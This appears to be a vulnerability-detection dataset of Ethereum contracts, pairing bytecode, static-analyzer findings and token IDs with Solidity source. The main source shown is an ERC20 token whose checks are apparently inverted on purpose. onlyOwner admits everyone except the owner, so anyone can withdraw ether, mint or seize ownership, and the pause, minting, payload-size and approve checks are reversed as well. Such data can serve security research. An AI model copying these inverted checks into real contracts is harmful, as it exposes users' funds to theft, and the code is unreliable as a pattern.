959194509250565b600080604083850312156124f157600080fd5b6124fa836123ac565b915061241d602084016123c8565b6000806040838503121561251b57600080fd5b612524836123ac565b946020939093013593505050565b60006020828403121561254457600080fd5b6115e4826123c8565b60006020828403121561255f57600080fd5b5035919050565b60006020828403121561257857600080fd5b81356115e481612a2d565b60006020828403121561259557600080fd5b81516115e481612a2d565b6000602082840312156125b257600080fd5b813567ffffffffffffffff8111156125c957600080fd5b8201601f810184136125da57600080fd5b611a7384823560208401612336565b6000602082840312156125fb57600080fd5b5051919050565b60008060006040848603121561261757600080fd5b83359250602084013567ffffffffffffffff8082111561263657600080fd5b818601915086601f83011261264a57600080fd5b81358181111561265957600080fd5b8760208260051b850101111561266e57600080fd5b6020830194508093505050509250925092565b6000815180845261269981602086016020860161293f565b601f01601f19169290920160200192915050565b6000845160206126c08285838a0161293f565b8551918401916126d38184848a0161293f565b8554920191600090600181811c90808316806126f057607f831692505b85831081141561270e57634e487b7160e01b85526022600452602485fd5b808015612722576001811461273357612760565b60ff19851688528388019550612760565b60008b81526020902060005b858110156127585781548a82015290840190880161273f565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906127a490830184612681565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156127e6578351835292840192918401916001016127ca565b50909695505050505050565b6020815260006115e46020830184612681565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156128f0576128f06129d5565b500190565b600082612904576129046129eb565b500490565b6000816000190483118215151615612923576129236129d5565b500290565b60008282101561293a5761293a6129d5565b500390565b60005b8381101561295a578181015183820152602001612942565b838111156113a25750506000910152565b600181811c9082168061297f57607f821691505b602082108114156129a057634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156129ba576129ba6129d5565b5060010190565b6000826129d0576129d06129eb565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461108f57600080fdfea2646970667358221220be47a0958cb88c63084f7f247d185b383ace17c7dc55163e684ba5513984c1c064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2487, 2063, 2549, 9818, 2549, 27717, 2620, 19797, 24434, 23632, 2549, 7011, 2497, 2683, 9468, 19797, 2683, 2475, 2094, 2575, 2050, 22275, 2094, 22907, 21472, 2487, 2094, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 2122, 4972, 3066, 2007, 22616, 1997, 21442, 19099, 3628, 6947, 2015, 1012, 1008, 1008, 1996, 6947, 2015, 2064, 2022, 7013, 2478, 1996, 9262, 22483, 3075, 1008, 16770, 1024, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,045
0x961e93c8f56776474284d84476d8528a16223e07
pragma solidity ^0.4.25; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length < size + 4, "payload size does not match"); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) public { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping(address => mapping(address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) public { // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value != 0) && (allowed[msg.sender][_spender] != 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender != owner, "only owner can call"); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint value); event MintFinished(); bool public mintingFinished = false; uint public totalSupply = 0; modifier canMint() { require(mintingFinished, "mint finished."); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(paused, "contract not paused"); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(!paused, "contract paused"); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public returns (bool) { paused = false; emit Unpause(); return true; } } /** * Pausable token * * Simple ERC20 Token example, with pausable token creation **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint _value) whenNotPaused public { super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) whenNotPaused public { super.transferFrom(_from, _to, _value); } } /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a time has passed */ contract TokenTimelock { // ERC20 basic token contract being held ERC20Basic token; // beneficiary of tokens after they are released address beneficiary; // timestamp where token release is enabled uint releaseTime; constructor(ERC20Basic _token, address _beneficiary, uint _releaseTime) public { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @dev beneficiary claims tokens held by time lock */ function claim() public { require(msg.sender == beneficiary); require(now >= releaseTime); uint amount = token.balanceOf(this); require(amount > 0); token.transfer(beneficiary, amount); } } /** * @title Token * @dev An ERC20 compilable Token contract */ contract Token is PausableToken, MintableToken { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; constructor( string tokenName, string tokenSymbol, address tokenOwner, uint256 initialSupply, uint8 decimalUnits ) public { // Set the name for display purposes name = tokenName; // Set the symbol for display purposes symbol = tokenSymbol; // Amount of decimals for display purposes decimals = decimalUnits; // Set token owner owner = tokenOwner; // mint token for initial supply totalSupply = initialSupply; balances[tokenOwner] = initialSupply; emit Mint(tokenOwner, initialSupply); } /** * @dev mint timelocked tokens */ function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) onlyOwner canMint public returns (TokenTimelock) { TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime); mint(timelock, _amount); return timelock; } /** * @dev transfer balance to owner */ function withdrawEther(uint256 amount) onlyOwner public { owner.transfer(amount); } /** * @dev can accept ether */ function() payable public { } }
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010857806306fdde0314610131578063095ea7b3146101bb57806318160ddd146101df57806323b872dd14610206578063313ce567146102305780633bed33ce1461025b5780633f4ba83a1461027357806340c10f19146102885780635c975abb146102ac57806370a08231146102c15780637d64bcb4146102e25780638456cb59146102f75780638da5cb5b1461030c57806395d89b411461033d578063a9059cbb14610352578063c14a3b8c14610376578063dd62ed3e1461039d578063f2fde38b146103c4575b005b34801561011457600080fd5b5061011d6103e5565b604080519115158252519081900360200190f35b34801561013d57600080fd5b50610146610407565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610180578181015183820152602001610168565b50505050905090810190601f1680156101ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c757600080fd5b50610106600160a060020a0360043516602435610495565b3480156101eb57600080fd5b506101f4610533565b60408051918252519081900360200190f35b34801561021257600080fd5b50610106600160a060020a0360043581169060243516604435610539565b34801561023c57600080fd5b506102456105ac565b6040805160ff9092168252519081900360200190f35b34801561026757600080fd5b506101066004356105b5565b34801561027f57600080fd5b5061011d610644565b34801561029457600080fd5b5061011d600160a060020a0360043516602435610747565b3480156102b857600080fd5b5061011d6108aa565b3480156102cd57600080fd5b506101f4600160a060020a03600435166108ba565b3480156102ee57600080fd5b5061011d6108d5565b34801561030357600080fd5b5061011d61098f565b34801561031857600080fd5b50610321610a99565b60408051600160a060020a039092168252519081900360200190f35b34801561034957600080fd5b50610146610aa8565b34801561035e57600080fd5b50610106600160a060020a0360043516602435610b03565b34801561038257600080fd5b50610321600160a060020a0360043516602435604435610b70565b3480156103a957600080fd5b506101f4600160a060020a0360043581169060243516610c9a565b3480156103d057600080fd5b50610106600160a060020a0360043516610cc5565b6003547501000000000000000000000000000000000000000000900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561048d5780601f106104625761010080835404028352916020019161048d565b820191906000526020600020905b81548152906001019060200180831161047057829003601f168201915b505050505081565b80158015906104c65750336000908152600260209081526040808320600160a060020a038616845290915290205415155b15156104d157600080fd5b336000818152600260209081526040808320600160a060020a03871680855290835292819020859055805185815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35050565b60045481565b60035460a060020a900460ff16151561059c576040805160e560020a62461bcd02815260206004820152601360248201527f636f6e7472616374206e6f742070617573656400000000000000000000000000604482015290519081900360640190fd5b6105a7838383610d51565b505050565b60075460ff1681565b600354600160a060020a0316331415610606576040805160e560020a62461bcd0281526020600482015260136024820152600080516020611271833981519152604482015290519081900360640190fd5b600354604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610640573d6000803e3d6000fd5b5050565b600354600090600160a060020a0316331415610698576040805160e560020a62461bcd0281526020600482015260136024820152600080516020611271833981519152604482015290519081900360640190fd5b60035460a060020a900460ff16156106fa576040805160e560020a62461bcd02815260206004820152600f60248201527f636f6e7472616374207061757365640000000000000000000000000000000000604482015290519081900360640190fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a150600190565b600354600090600160a060020a031633141561079b576040805160e560020a62461bcd0281526020600482015260136024820152600080516020611271833981519152604482015290519081900360640190fd5b6003547501000000000000000000000000000000000000000000900460ff161515610810576040805160e560020a62461bcd02815260206004820152600e60248201527f6d696e742066696e69736865642e000000000000000000000000000000000000604482015290519081900360640190fd5b600454610823908363ffffffff610eb216565b600455600160a060020a03831660009081526001602052604090205461084f908363ffffffff610eb216565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a250600192915050565b60035460a060020a900460ff1681565b600160a060020a031660009081526001602052604090205490565b600354600090600160a060020a0316331415610929576040805160e560020a62461bcd0281526020600482015260136024820152600080516020611271833981519152604482015290519081900360640190fd5b6003805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600090600160a060020a03163314156109e3576040805160e560020a62461bcd0281526020600482015260136024820152600080516020611271833981519152604482015290519081900360640190fd5b60035460a060020a900460ff161515610a46576040805160e560020a62461bcd02815260206004820152601360248201527f636f6e7472616374206e6f742070617573656400000000000000000000000000604482015290519081900360640190fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a150600190565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561048d5780601f106104625761010080835404028352916020019161048d565b60035460a060020a900460ff161515610b66576040805160e560020a62461bcd02815260206004820152601360248201527f636f6e7472616374206e6f742070617573656400000000000000000000000000604482015290519081900360640190fd5b6106408282610ec8565b6003546000908190600160a060020a0316331415610bc6576040805160e560020a62461bcd0281526020600482015260136024820152600080516020611271833981519152604482015290519081900360640190fd5b6003547501000000000000000000000000000000000000000000900460ff161515610c3b576040805160e560020a62461bcd02815260206004820152600e60248201527f6d696e742066696e69736865642e000000000000000000000000000000000000604482015290519081900360640190fd5b308584610c46610fe0565b600160a060020a039384168152919092166020820152604080820192909252905190819003606001906000f080158015610c84573d6000803e3d6000fd5b509050610c918185610747565b50949350505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331415610d16576040805160e560020a62461bcd0281526020600482015260136024820152600080516020611271833981519152604482015290519081900360640190fd5b600160a060020a03811615610d4e576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b606060643610610dab576040805160e560020a62461bcd02815260206004820152601b60248201527f7061796c6f61642073697a6520646f6573206e6f74206d617463680000000000604482015290519081900360640190fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054610ddf908363ffffffff610fce16565b600160a060020a038516600081815260026020908152604080832033845282528083209490945591815260019091522054610e20908363ffffffff610fce16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610e55908363ffffffff610eb216565b600160a060020a0380851660008181526001602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b600082820183811015610ec157fe5b9392505050565b604060443610610f22576040805160e560020a62461bcd02815260206004820152601b60248201527f7061796c6f61642073697a6520646f6573206e6f74206d617463680000000000604482015290519081900360640190fd5b33600090815260016020526040902054610f42908363ffffffff610fce16565b3360009081526001602052604080822092909255600160a060020a03851681522054610f74908363ffffffff610eb216565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3505050565b600082821115610fda57fe5b50900390565b60405161028080610ff1833901905600608060405234801561001057600080fd5b5060405160608061028083398101604090815281516020830151919092015142811161003b57600080fd5b60008054600160a060020a03948516600160a060020a03199182161790915560018054939094169216919091179091556002556102038061007d6000396000f3006080604052600436106100405763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416634e71d92d8114610045575b600080fd5b34801561005157600080fd5b5061005a61005c565b005b60015460009073ffffffffffffffffffffffffffffffffffffffff16331461008357600080fd5b60025442101561009257600080fd5b60008054604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216926370a08231926024808401936020939083900390910190829087803b15801561010657600080fd5b505af115801561011a573d6000803e3d6000fd5b505050506040513d602081101561013057600080fd5b505190506000811161014157600080fd5b60008054600154604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9283166004820152602481018690529051919092169263a9059cbb926044808201939182900301818387803b1580156101bc57600080fd5b505af11580156101d0573d6000803e3d6000fd5b50505050505600a165627a7a72305820372e3f1e6c3b7333e3e7679d5ad475d0f1ded7f1a94ad760230378c32eb3d92e00296f6e6c79206f776e65722063616e2063616c6c00000000000000000000000000a165627a7a72305820c428b414a7509b4041a58dd5038f9179d59bdfb9931a1103989adca66a272f270029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-abstract', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2487, 2063, 2683, 2509, 2278, 2620, 2546, 26976, 2581, 2581, 21084, 2581, 20958, 2620, 2549, 2094, 2620, 22932, 2581, 2575, 2094, 27531, 22407, 27717, 2575, 19317, 2509, 2063, 2692, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2423, 1025, 1013, 1008, 1008, 1008, 8785, 3136, 2007, 3808, 14148, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 21318, 3372, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,046
0x961eca1683e3f30e05dd7c2e2c252d1c6df79804
/* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: PYLONRewards.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { 